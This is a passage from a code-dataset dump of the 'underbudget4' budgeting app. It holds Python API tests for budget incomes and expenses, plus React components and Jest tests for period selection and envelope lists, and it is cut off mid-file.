self.create_periodic_income(\n budget_id, name=\"Income 2\", amount=200\n )\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/periodic-incomes\")\n assert resp.status_code == 200\n\n assert [income_1_id, income_2_id] == [\n m.value for m in parse(\"incomes[*].id\").find(resp.json)\n ]\n assert [\"Income 1\", \"Income 2\"] == [\n m.value for m in parse(\"incomes[*].name\").find(resp.json)\n ]\n assert [100, 200] == [\n m.value for m in parse(\"incomes[*].amount\").find(resp.json)\n ]\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_periodic_expense_requires_valid_budget(self, budget_id=None):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n json={\"envelopeId\": envelope_id, \"name\": \"Expense\", \"amount\": 100},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (400, \"EnvelopeId\", \"auto\"),\n (400, \"envelopeId\", None),\n (400, \"envelopeId\", \"\"),\n (404, \"envelopeId\", 0),\n (404, \"envelopeId\", -1),\n (404, \"envelopeId\", 999),\n (400, \"envelopeId\", \"other\"),\n (201, \"envelopeId\", \"auto\"),\n ]\n )\n def test_periodic_expense_requires_valid_envelope_id(self, code, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n\n other_ledger_id = self.create_ledger()\n other_env_cat_id = self.create_envelope_category(other_ledger_id)\n other_envelope_id = self.create_envelope(other_env_cat_id)\n\n if value == \"auto\":\n value = envelope_id\n elif value == \"other\":\n value = other_envelope_id\n\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n json={key: value, \"name\": \"Expense\", \"amount\": 100},\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (\"Name\", \"Test Expense\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_periodic_expense_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n json={\"envelopeId\": envelope_id, key: value, \"amount\": 100},\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Amount\", 100),\n (\"amount\", \"\"),\n (\"amount\", None),\n (\"amount\", -2),\n (\"amount\", 0),\n ]\n )\n def test_periodic_expense_requires_valid_amount(self, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n json={\"envelopeId\": envelope_id, \"name\": \"Expense\", key: value},\n )\n assert resp.status_code == 400\n\n def test_periodic_expense_not_found(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n self._test_crud_methods_against_non_existent_resource(\n \"/api/budget-periodic-expenses\",\n {\"envelopeId\": envelope_id, \"name\": \"Expense\", \"amount\": 100},\n )\n\n def test_periodic_expense_is_audited(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n self._test_resource_is_audited(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n \"/api/budget-periodic-expenses\",\n {\"envelopeId\": envelope_id, \"name\": \"Expense\", \"amount\": 100},\n )\n\n def test_periodic_expense_modification(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_1_id = self.create_envelope(env_cat_id)\n envelope_2_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n self._test_resource_is_modifiable(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n \"/api/budget-periodic-expenses\",\n {\"envelopeId\": envelope_1_id, \"name\": \"Original Expense\", \"amount\": 100},\n {\"envelopeId\": envelope_2_id, \"name\": \"Modified Expense\", \"amount\": 200},\n )\n\n def test_periodic_expense_deletion(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n expense_id = self.create_periodic_expense(budget_id, envelope_id, 100)\n assert (\n self.client.get(f\"/api/budget-periodic-expenses/{expense_id}\").status_code\n == 200\n )\n assert (\n self.client.delete(\n f\"/api/budget-periodic-expenses/{expense_id}\"\n ).status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/budget-periodic-expenses/{expense_id}\").status_code\n == 404\n )\n\n def test_prevent_deletion_of_envelope_with_periodic_expenses(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n self.create_periodic_expense(budget_id, envelope_id, 100)\n\n assert self.client.delete(f\"/api/envelopes/{envelope_id}\").status_code == 409\n\n def test_fetch_all_periodic_expenses(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_1_id = self.create_envelope(env_cat_id)\n envelope_2_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n expense_1_id = self.create_periodic_expense(\n budget_id, envelope_2_id, name=\"Expense 1\", amount=100\n )\n expense_2_id = self.create_periodic_expense(\n budget_id, envelope_1_id, name=\"Expense 2\", amount=200\n )\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/periodic-expenses\")\n assert resp.status_code == 200\n\n assert [expense_1_id, expense_2_id] == [\n m.value for m in parse(\"expenses[*].id\").find(resp.json)\n ]\n assert [envelope_2_id, envelope_1_id] == [\n m.value for m in parse(\"expenses[*].envelopeId\").find(resp.json)\n ]\n assert [\"Expense 1\", \"Expense 2\"] == [\n m.value for m in parse(\"expenses[*].name\").find(resp.json)\n ]\n assert [100, 200] == [\n m.value for m in parse(\"expenses[*].amount\").find(resp.json)\n ]\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_annual_expense_requires_valid_budget(self, budget_id=None):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\"envelopeId\": envelope_id, \"name\": \"Expense\", \"amount\": 100},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (400, \"EnvelopeId\", \"auto\"),\n (400, \"envelopeId\", None),\n (400, \"envelopeId\", \"\"),\n (404, \"envelopeId\", 0),\n (404, \"envelopeId\", -1),\n (404, \"envelopeId\", 999),\n (400, \"envelopeId\", \"other\"),\n (201, \"envelopeId\", \"auto\"),\n ]\n )\n def test_annual_expense_requires_valid_envelope_id(self, code, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n\n other_ledger_id = self.create_ledger()\n other_env_cat_id = self.create_envelope_category(other_ledger_id)\n other_envelope_id = self.create_envelope(other_env_cat_id)\n\n if value == \"auto\":\n value = envelope_id\n elif value == \"other\":\n value = other_envelope_id\n\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={key: value, \"name\": \"Expense\", \"amount\": 100},\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (\"Name\", \"Test Expense\"),\n (\"name\", \"\"),\n (\"name\", None),\n ]\n )\n def test_annual_expense_requires_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\"envelopeId\": envelope_id, key: value, \"amount\": 100},\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Amount\", 100),\n (\"amount\", \"\"),\n (\"amount\", None),\n (\"amount\", -2),\n (\"amount\", 0),\n ]\n )\n def test_annual_expense_requires_valid_amount(self, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\"envelopeId\": envelope_id, \"name\": \"Expense\", key: value},\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Name\", \"Test Expense\"),\n (\"name\", None),\n ]\n )\n def test_annual_expense_details_require_valid_name(self, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": \"Expense\",\n \"amount\": 0,\n \"details\": [\n {key: value, \"amount\": 50},\n {key: value, \"amount\": 55},\n ],\n },\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (\"Amount\", 100),\n (\"amount\", \"\"),\n (\"amount\", None),\n (\"amount\", -2),\n (\"amount\", 0),\n ]\n )\n def test_annual_expense_details_require_valid_amount(self, key, value):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": \"Expense\",\n \"amount\": 0,\n \"details\": [\n {\"name\": \"foo\", key: value},\n {\"name\": \"bar\", key: value},\n ],\n },\n )\n assert resp.status_code == 400\n\n def test_annual_expense_details_require_valid_periods(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": \"Expense\",\n \"amount\": 0,\n \"details\": [\n {\"name\": \"bar\", \"amount\": 100},\n ],\n },\n )\n assert resp.status_code == 400\n\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": \"Expense\",\n \"amount\": 0,\n \"details\": [\n {\"name\": \"foo\", \"amount\": 100},\n {\"name\": \"bar\", \"amount\": 200},\n ],\n },\n )\n assert resp.status_code == 201\n expense_id = resp.json.get(\"id\")\n\n resp = self.client.get(f\"/api/budget-annual-expenses/{expense_id}\")\n assert resp.status_code == 200\n assert len(resp.json.get(\"details\", [])) == 2\n assert resp.json[\"details\"][0][\"name\"] == \"foo\"\n assert resp.json[\"details\"][0][\"amount\"] == 100\n assert resp.json[\"details\"][1][\"name\"] == \"bar\"\n assert resp.json[\"details\"][1][\"amount\"] == 200\n\n resp = self.client.put(\n f\"/api/budget-annual-expenses/{expense_id}\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": \"Expense\",\n \"amount\": 0,\n \"details\": [\n {\"name\": \"bar\", \"amount\": 100},\n ],\n },\n )\n assert resp.status_code == 400\n\n resp = self.client.put(\n f\"/api/budget-annual-expenses/{expense_id}\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": \"Expense\",\n \"amount\": 0,\n \"details\": [\n {\"name\": \"\", \"amount\": 75},\n {\"name\": \"second\", \"amount\": 85},\n ],\n },\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/budget-annual-expenses/{expense_id}\")\n assert resp.status_code == 200\n assert len(resp.json.get(\"details\", [])) == 2\n assert resp.json[\"details\"][0][\"name\"] == \"\"\n assert resp.json[\"details\"][0][\"amount\"] == 75\n assert resp.json[\"details\"][1][\"name\"] == \"second\"\n assert resp.json[\"details\"][1][\"amount\"] == 85\n\n def test_annual_expense_not_found(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n self._test_crud_methods_against_non_existent_resource(\n \"/api/budget-annual-expenses\",\n {\"envelopeId\": envelope_id, \"name\": \"Expense\", \"amount\": 100},\n )\n\n def test_annual_expense_is_audited(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n self._test_resource_is_audited(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n \"/api/budget-annual-expenses\",\n {\"envelopeId\": envelope_id, \"name\": \"Expense\", \"amount\": 100},\n )\n\n def test_annual_expense_modification(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_1_id = self.create_envelope(env_cat_id)\n envelope_2_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n self._test_resource_is_modifiable(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n \"/api/budget-annual-expenses\",\n {\"envelopeId\": envelope_1_id, \"name\": \"Original Expense\", \"amount\": 100},\n {\"envelopeId\": envelope_2_id, \"name\": \"Modified Expense\", \"amount\": 200},\n )\n\n def test_prevent_changing_periods_after_annual_details_exist(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n self.create_annual_expense(budget_id, envelope_id, amount=100)\n\n assert (\n self.client.put(\n f\"/api/budgets/{budget_id}\", json={\"name\": \"Name\", \"periods\": 3}\n ).status_code\n == 200\n )\n\n self.create_annual_expense(budget_id, envelope_id, details=[10, 10, 10])\n\n assert (\n self.client.put(\n f\"/api/budgets/{budget_id}\", json={\"name\": \"Name\", \"periods\": 4}\n ).status_code\n == 400\n )\n assert (\n self.client.put(\n f\"/api/budgets/{budget_id}\", json={\"name\": \"New Name\", \"periods\": 3}\n ).status_code\n == 200\n )\n\n def test_annual_expense_deletion(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n expense_id = self.create_annual_expense(budget_id, envelope_id, amount=100)\n assert (\n self.client.get(f\"/api/budget-annual-expenses/{expense_id}\").status_code\n == 200\n )\n assert (\n self.client.delete(f\"/api/budget-annual-expenses/{expense_id}\").status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/budget-annual-expenses/{expense_id}\").status_code\n == 404\n )\n\n expense_id = self.create_annual_expense(\n budget_id, envelope_id, details=[10, 10]\n )\n assert (\n self.client.get(f\"/api/budget-annual-expenses/{expense_id}\").status_code\n == 200\n )\n assert (\n self.client.delete(f\"/api/budget-annual-expenses/{expense_id}\").status_code\n == 204\n )\n assert (\n self.client.get(f\"/api/budget-annual-expenses/{expense_id}\").status_code\n == 404\n )\n\n def test_prevent_deletion_of_envelope_with_annual_expenses(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n self.create_annual_expense(budget_id, envelope_id, amount=100)\n\n assert self.client.delete(f\"/api/envelopes/{envelope_id}\").status_code == 409\n\n def test_fetch_all_annual_expenses(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_1_id = self.create_envelope(env_cat_id)\n envelope_2_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n expense_1_id = self.create_annual_expense(\n budget_id, envelope_2_id, name=\"Expense 1\", amount=100\n )\n expense_2_id = self.create_annual_expense(\n budget_id, envelope_1_id, name=\"Expense 2\", details=[75, 85]\n )\n\n resp = self.client.get(f\"/api/budgets/{budget_id}/annual-expenses\")\n assert resp.status_code == 200\n\n assert [expense_1_id, expense_2_id] == [\n m.value for m in parse(\"expenses[*].id\").find(resp.json)\n ]\n assert [envelope_2_id, envelope_1_id] == [\n m.value for m in parse(\"expenses[*].envelopeId\").find(resp.json)\n ]\n assert [\"Expense 1\", \"Expense 2\"] == [\n m.value for m in parse(\"expenses[*].name\").find(resp.json)\n ]\n assert [100, 160] == [\n m.value for m in parse(\"expenses[*].amount\").find(resp.json)\n ]\n assert [75, 85] == [\n m.value for m in parse(\"expenses[1].details[*].amount\").find(resp.json)\n ]\n\n def test_ledger_deletion_cascades_to_budget(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=3)\n active_id = self.create_active_budget(ledger_id, budget_id)\n income_id = self.create_periodic_income(budget_id, 100)\n periodic_expense_id = self.create_periodic_expense(budget_id, envelope_id, 100)\n annual_expense_1_id = self.create_annual_expense(\n budget_id, envelope_id, amount=100\n )\n annual_expense_2_id = self.create_annual_expense(\n budget_id, envelope_id, details=[75, 85, 95]\n )\n\n resources = [\n f\"/api/budgets/{budget_id}\",\n f\"/api/active-budgets/{active_id}\",\n f\"/api/budget-periodic-incomes/{income_id}\",\n f\"/api/budget-periodic-expenses/{periodic_expense_id}\",\n f\"/api/budget-annual-expenses/{annual_expense_1_id}\",\n f\"/api/budget-annual-expenses/{annual_expense_2_id}\",\n ]\n\n for resource in resources:\n assert self.client.get(resource).status_code == 200\n assert self.client.delete(f\"/api/ledgers/{ledger_id}\").status_code == 204\n for resource in resources:\n assert self.client.get(resource).status_code == 404\n" }, { "alpha_fraction": 0.7731092572212219, "alphanum_fraction": 0.7731092572212219, "avg_line_length": 28.75, "blob_id": "d5b484e1a306576fcf46ddfab20fc272a1754114", "content_id": "8b7e3be9dfbb8d6ce41b62dbc785dfd7889dd142", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 238, "license_type": "permissive", "max_line_length": 79, "num_lines": 8, "path": "/webapp/src/features/budgets/components/AllBudgetsList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport useFetchBudgets from '../hooks/useFetchBudgets';\nimport BudgetsList from './BudgetsList';\n\nconst AllBudgetsList = () => <BudgetsList useFetchBudgets={useFetchBudgets} />;\n\nexport default AllBudgetsList;\n" }, { "alpha_fraction": 0.6679264307022095, "alphanum_fraction": 0.6890904307365417, "avg_line_length": 38.29703140258789, "blob_id": "2f8e41aecf2ac9e284e4db7bfb3fa6542930f1bc", "content_id": "b3aaadc56070aa94523487aa8503947e2c097f40", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3969, "license_type": "permissive", "max_line_length": 76, "num_lines": 101, "path": "/webapp/src/features/budgets/components/__tests__/PeriodSelect.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { render, screen } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\n\nimport PeriodSelect from '../PeriodSelect';\n\ntest('should display weekly period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={52} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Jan 8 to Jan 14' }));\n expect(screen.getAllByRole('option')).toHaveLength(52);\n\n userEvent.click(screen.getByRole('option', { name: 'Aug 6 to Aug 12' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(31);\n});\n\ntest('should display biweekly period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={26} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Jan 15 to Jan 28' }));\n expect(screen.getAllByRole('option')).toHaveLength(26);\n\n userEvent.click(screen.getByRole('option', { name: 'Jul 30 to Aug 12' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(15);\n});\n\ntest('should display semimonthly period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={24} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Jan 16 to Jan 31' }));\n expect(screen.getAllByRole('option')).toHaveLength(24);\n\n userEvent.click(screen.getByRole('option', { name: 'Jul 16 to Jul 31' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(13);\n});\n\ntest('should display monthly period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={12} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'February' }));\n expect(screen.getAllByRole('option')).toHaveLength(12);\n\n userEvent.click(screen.getByRole('option', { name: 'July' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(6);\n});\n\ntest('should display bimonthly period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={6} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Mar/Apr' }));\n expect(screen.getAllByRole('option')).toHaveLength(6);\n\n userEvent.click(screen.getByRole('option', { name: 'Jul/Aug' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(3);\n});\n\ntest('should display quarterly period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={4} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Apr to Jun' }));\n expect(screen.getAllByRole('option')).toHaveLength(4);\n\n userEvent.click(screen.getByRole('option', { name: 'Oct to Dec' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(3);\n});\n\ntest('should display triannual period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={3} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'May to Aug' }));\n expect(screen.getAllByRole('option')).toHaveLength(3);\n\n userEvent.click(screen.getByRole('option', { name: 'Sep to Dec' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(2);\n});\n\ntest('should display biannual period options', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={2} value={1} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Jul to Dec' }));\n expect(screen.getAllByRole('option')).toHaveLength(2);\n\n userEvent.click(screen.getByRole('option', { name: 'Jan to Jun' }));\n expect(handleChange.mock.calls[0][0].target.value).toBe(0);\n});\n\ntest('should display disabled annual period select', () => {\n const handleChange = jest.fn();\n render(<PeriodSelect onChange={handleChange} periods={1} value={0} />);\n\n userEvent.click(screen.getByRole('button', { name: 'Jan to Dec' }));\n expect(screen.queryAllByRole('option')).toHaveLength(0);\n});\n" }, { "alpha_fraction": 0.6552432179450989, "alphanum_fraction": 0.6699305176734924, "avg_line_length": 32.680850982666016, "blob_id": "015c730ebaa7f3e82f418b9f87e1a218e1cc1509", "content_id": "c7313ba3af762a46ca62c5acce13c3998c41a386", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6332, "license_type": "permissive", "max_line_length": 95, "num_lines": 188, "path": "/webapp/src/features/envelopes/components/__tests__/EnvelopesList.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport createMediaQuery from 'test/createMediaQuery';\nimport renderWithRouter from 'test/renderWithRouter';\nimport EnvelopesList from '../EnvelopesList';\n\nconst threeCategories = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n envelopes: [\n { id: 1, name: 'Envelope 1' },\n { id: 2, name: 'Envelope 2' },\n ],\n },\n {\n id: 2,\n name: 'Category 2',\n envelopes: [],\n },\n {\n id: 3,\n name: 'Category 3',\n envelopes: [\n { id: 3, name: 'Envelope 3' },\n { id: 4, name: 'Envelope 4' },\n ],\n },\n ],\n};\n\nconst render = (categories, code = 200, { route = '/envelopes', width = '800px' } = {}) => {\n window.matchMedia = createMediaQuery(width);\n configure({ defaultHidden: true });\n\n localStorage.setItem('underbudget.selected.ledger', '2');\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers/2').reply(200, { currency: 840 });\n mockAxios.onGet('/api/ledgers/2/envelope-categories').reply(code, categories);\n mockAxios.onGet(/\\/api\\/envelopes\\/\\d\\/balance/).reply(200, { balance: 4321 });\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retryDelay: 200,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/envelopes/*' element={<EnvelopesList />} />\n </Routes>\n </QueryClientProvider>,\n { route },\n ),\n mockAxios,\n queryClient,\n };\n};\n\nconst getListItems = () => {\n const items = {};\n\n const buttons = screen.queryAllByRole('button');\n expect(buttons).toHaveLength(10);\n\n let index = 0;\n const verifyNextButtons = (id, text, hasOverflow = false) => {\n expect(buttons[index]).toHaveTextContent(text);\n expect(buttons[index]).toBeVisible();\n items[id] = {\n button: buttons[index],\n overflow: hasOverflow ? buttons[index + 1] : null,\n };\n index += hasOverflow ? 2 : 1;\n };\n\n verifyNextButtons('category1', 'Category 1', true);\n verifyNextButtons('envelope1', 'Envelope 1');\n verifyNextButtons('envelope2', 'Envelope 2');\n verifyNextButtons('category2', 'Category 2', true);\n verifyNextButtons('category3', 'Category 3', true);\n verifyNextButtons('envelope3', 'Envelope 3');\n verifyNextButtons('envelope4', 'Envelope 4');\n\n return items;\n};\n\ntest('should show error message when not logged in', async () => {\n render({}, 401);\n\n await waitFor(() => expect(screen.getByRole('alert')).toBeInTheDocument());\n expect(screen.getByText(/you are no longer logged in/i)).toBeInTheDocument();\n});\n\ntest('should collapse category sections', async () => {\n render(threeCategories);\n\n expect(screen.getByRole('progressbar')).toBeInTheDocument();\n await waitFor(() => expect(screen.getByText('Category 1')).toBeInTheDocument());\n expect(screen.queryByRole('progressbar')).not.toBeInTheDocument();\n\n expect(screen.getAllByText('$43.21')).toHaveLength(4);\n\n const items = getListItems();\n\n userEvent.click(items.category3.button);\n await waitFor(() => expect(items.envelope3.button).not.toBeVisible());\n await waitFor(() => expect(items.envelope4.button).not.toBeVisible());\n\n userEvent.click(items.category3.button);\n await waitFor(() => expect(items.envelope3.button).toBeVisible());\n await waitFor(() => expect(items.envelope4.button).toBeVisible());\n});\n\ntest('should prompt to confirm deletion of category', async () => {\n const { mockAxios, queryClient } = render(threeCategories);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n mockAxios.onDelete('/api/envelope-categories/2').reply(204);\n\n await waitFor(() => expect(screen.getByText('Category 1')).toBeInTheDocument());\n\n const items = getListItems();\n\n // Can't delete categories with envelopes\n userEvent.click(items.category1.overflow);\n expect(screen.getByRole('menuitem', { name: /delete envelope category/i })).toHaveAttribute(\n 'aria-disabled',\n );\n // Click on the menu backdrop\n userEvent.click(screen.getByRole('presentation').firstChild);\n await waitFor(() =>\n expect(\n screen.queryByRole('menuitem', { name: /delete envelope category/i }),\n ).not.toBeInTheDocument(),\n );\n\n // Reject cancellation\n userEvent.click(items.category2.overflow);\n userEvent.click(screen.getByRole('menuitem', { name: /delete envelope category/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /cancel/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n expect(mockAxios.history.delete).toHaveLength(0);\n\n // Confirm cancellation\n userEvent.click(items.category2.overflow);\n userEvent.click(screen.getByRole('menuitem', { name: /delete envelope category/i }));\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /confirm/i })).toBeInTheDocument(),\n );\n userEvent.click(screen.getByRole('button', { name: /ok/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /confirm/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(mockAxios.history.delete).toHaveLength(1));\n expect(mockAxios.history.delete[0].url).toBe('/api/envelope-categories/2');\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-categories', { ledger: '2' }]);\n});\n\ntest('should navigate to route to modify category', async () => {\n const { history } = render(threeCategories, 200, { route: '/envelopes?show-archived=true' });\n await waitFor(() => expect(screen.getByText('Category 1')).toBeInTheDocument());\n\n const items = getListItems();\n\n userEvent.click(items.category3.overflow);\n userEvent.click(screen.getByRole('menuitem', { name: /modify envelope category/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/envelopes/modify-category/3'));\n expect(history.location.search).toBe('?show-archived=true');\n});\n" }, { "alpha_fraction": 0.6530710458755493, "alphanum_fraction": 0.6530710458755493, "avg_line_length": 25.049999237060547, "blob_id": "ccd78e1d8b02b91f4e1cd21aea1c0513324339fa", "content_id": "4b21150bfa06a29aa5dc07fc838839d1764b0b38", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2084, "license_type": "permissive", "max_line_length": 65, "num_lines": 80, "path": "/webapp/src/common/components/CurrencyInputField/CurrencyInputField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "// Disable rule because this is a generic component\n/* eslint-disable react/jsx-props-no-spreading */\n\nimport TextField from '@material-ui/core/TextField';\nimport Autocomplete from '@material-ui/lab/Autocomplete';\nimport currency from 'currency-codes';\nimport { getIn } from 'formik';\nimport PropTypes from 